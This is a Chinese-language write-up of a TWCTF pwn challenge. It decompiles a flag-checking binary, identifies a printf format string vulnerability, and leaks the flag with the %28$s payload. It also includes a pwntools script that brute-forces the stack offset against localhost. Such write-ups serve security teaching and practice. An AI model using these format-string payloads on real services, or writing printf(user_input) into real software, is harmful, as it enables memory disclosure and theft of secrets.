文章目录
这道题的功能就是等Flag judgment system\nInput flag >> 时输入flag,然后和真正的flag进行对比,如果正确就输出Correct flag!!,错误就输出Wrong flag…。同时我们发现这个程序的printf存在格式化字符串漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| int __cdecl main(int argc, const char **argv, const char **envp) { void *v3; // esp@1 int result; // eax@2 int v5; // ecx@6 char format; // [sp+0h] [bp-4Ch]@1 int v7; // [sp+40h] [bp-Ch]@1 int *v8; // [sp+48h] [bp-4h]@1 v8 = &argc; v7 = *MK_FP(__GS__, 20); v3 = alloca(144); printf("Flag judgment system\nInput flag >> "); if ( getnline(&format, 64) ) { printf(&format); if ( !strcmp(&format, flag) ) result = puts("\nCorrect flag!!"); else result = puts("\nWrong flag..."); } else { puts("Unprintable character"); result = -1; } v5 = *MK_FP(__GS__, 20) ^ v7; return result; }
|
这里是通过load_flag函数将文件名为flag.txt的文件内容读取到了数组flag[64]中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| int init() { int result; // eax@1 int v1; // edx@4 char filename[4]; // [sp+13h] [bp-15h]@1 int v3; // [sp+1Ch] [bp-Ch]@1 v3 = *MK_FP(__GS__, 20); strcpy(filename, "flag.txt"); setbuf(stdin, 0); setbuf(stdout, 0); result = load_flag(filename, flag, 64); if ( !result ) { printf("Loading '%s' failed...\n", filename); _exit(0); } v1 = *MK_FP(__GS__, 20) ^ v3; return result; }
|
下面是load_flag的函数体。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| int __cdecl load_flag(char *filename, char *s, int n) { int result; // eax@2 FILE *stream; // [sp+18h] [bp-10h]@1 char *v5; // [sp+1Ch] [bp-Ch]@5 stream = fopen(filename, "r"); if ( stream ) { if ( fgets(s, n, stream) ) { v5 = strchr(s, 10); if ( v5 ) *v5 = 0; result = 1; } else { result = 0; } } else { result = 0; } return result; }
|
通过以上分析我们知道flag.txt文件在服务器上,当程序运行时将flag.txt内容读取到flag数组中然后让我们输入数据和flag中的数据进行对比。同时我们发现了printf函数存在格式化字符串漏洞,我们可以利用printf将flag中的内容打印出来。
首先我们知道了flag就是0x804a0a0。
接下来我们GDB调试,得出flag到printf的偏移为28。
利用过程和结果如下:
1 2 3 4 5
| $ nc localhost 5555 Flag judgment system Input flag >> %28$s TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0} Wrong flag...
|
我们得到flag为TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
当然我们也可以直接对flag到printf的偏移进行爆破。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import * for i in xrange(1,300): r = remote('localhost',5555) r.recv() r.sendline("%{}$s".format(i)) try: res = r.recv() if "TWCTF" in res: print "The flag is: " + res break except: pass r.close()
|
结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
| $ python judgement.py [+] Opening connection to localhost on port 5555: Done [*] Closed connection to localhost port 5555 ... ... ... [+] Opening connection to localhost on port 5555: Done [*] Closed connection to localhost port 5555 [+] Opening connection to localhost on port 5555: Done The flag is: TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0} Wrong flag... [*] Closed connection to localhost port 5555
|